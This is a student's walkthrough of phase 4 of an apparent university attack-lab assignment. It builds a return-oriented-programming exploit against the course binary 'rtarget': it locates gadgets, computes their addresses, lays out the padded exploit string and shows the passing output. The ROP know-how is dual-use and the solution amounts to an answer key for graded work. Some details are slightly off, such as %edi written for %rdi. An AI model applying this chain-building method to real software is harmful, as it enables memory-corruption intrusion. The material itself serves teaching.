Phase 4 is different from the previous 3 because on this target, we can't execute code for the following two reasons:
- Stack randomization -- you can't simply point your injected code to a fixed address on the stack and run your explit code
- Non-executeble memory block. This feature prevents you from executing instructions on the machine because the memory block is marked as non-executable.
The solution for this is to use ROP (Return Oriented Programming), what ROP does is that since we can't execute our own code, we will look for instructions in the code that do the same thing as what we want. These are called gadgets and by combining these gadgets, we will be able to perform our exploit.
For this phase, we will be using the program rtarget instead of ctarget
This phase is the same as phase 2 except you are using different exploit method to call touch2 and pass your cookie.
In the pdf it tells you to find the instructions from the table and one of the instructions you will use involve popping rdi register off the stack,
popq %rdi is given in the the pdf and it's byte representation is 5f, since we don't have 5f byte in the dump file, we will look for a substitute which
is popq %rax% with byte representation of 58`
In your disassembled code, (objdump -d rtarget > rtarget_dump.txt), there are a lot of functions and the ones you can pick your instructions are located between start_farm and end_farm something like that. Now, search for 58 between those.
00000000004018ee <getval_336>:
4018ee: b8 1b f3 8c 58 mov $0x588cf31b,%eax
4018f3: c3 retq
I found the above in the disassembled code and there might be more than one but you want the function where 58 is present on the outer right end.
The other instruction you need is: movq %rax %edi and it's byte representation is 48 89 c7 c3 which is referenced in the pdf.
Go back to your disassembled code and search for that byte code.
I found:
0000000000401907 <setval_131>:
401907: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40190d: c3 retq
Now you have 2 gadgets and can exploit the rtarget program.
The exploit we are doing is:
popq %rax
movq %rax %edi
ret
The next step is constructing your string, the format is padding for the buffer size, gadget 1 address, your cookie, gadget 2 address, return address and finally touch2 address.
Becareful with the address of the gadgets, it starts at the byte code we are looking for not at the address where the function starts.
What I mean is that, look at the first gadget:
00000000004018ee <getval_336>:
4018ee: b8 1b f3 8c 58 mov $0x588cf31b,%eax
4018f3: c3 retq
The address of the function starts at 4018ee but 58 is present on the 5th byte, so we need to add 4 bytes to the address.
We just want the bytes starting at that address.
4018ee + 4 = 4018f2
Same thing with the second gadget: address starts at 401907 but 48 89 c7 c3 starts on the 3rd byte, so add 2 bytes to the address.
0000000000401907 <setval_131>:
401907: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40190d: c3 retq
401907 + 2 = 401909
Now put everything together in a file named phase4.txt and here is my version:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* first 24(buffer size) bytes here are just padding */
f2 18 40 00 00 00 00 00 /* gadget 1: popq %rax address starts at last byte */
70 4b 4b 43 00 00 00 00 /* cookie */
09 19 40 00 00 00 00 00 /* gadget 2: move %rax to %rdi */
8c 17 40 00 00 00 00 00 /* touch2 address
Last step is to generate the raw eploit string using the hex2raw program.
./hex2raw < phase4.txt > raw-phase4.txt
Finally, you run the raw file (remember you are running it on rtarget, not ctarget)
./rtarget < raw-phase4.txt
You should get something like below:
Type string:Touch2!: You called touch2(0x434b4b70)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!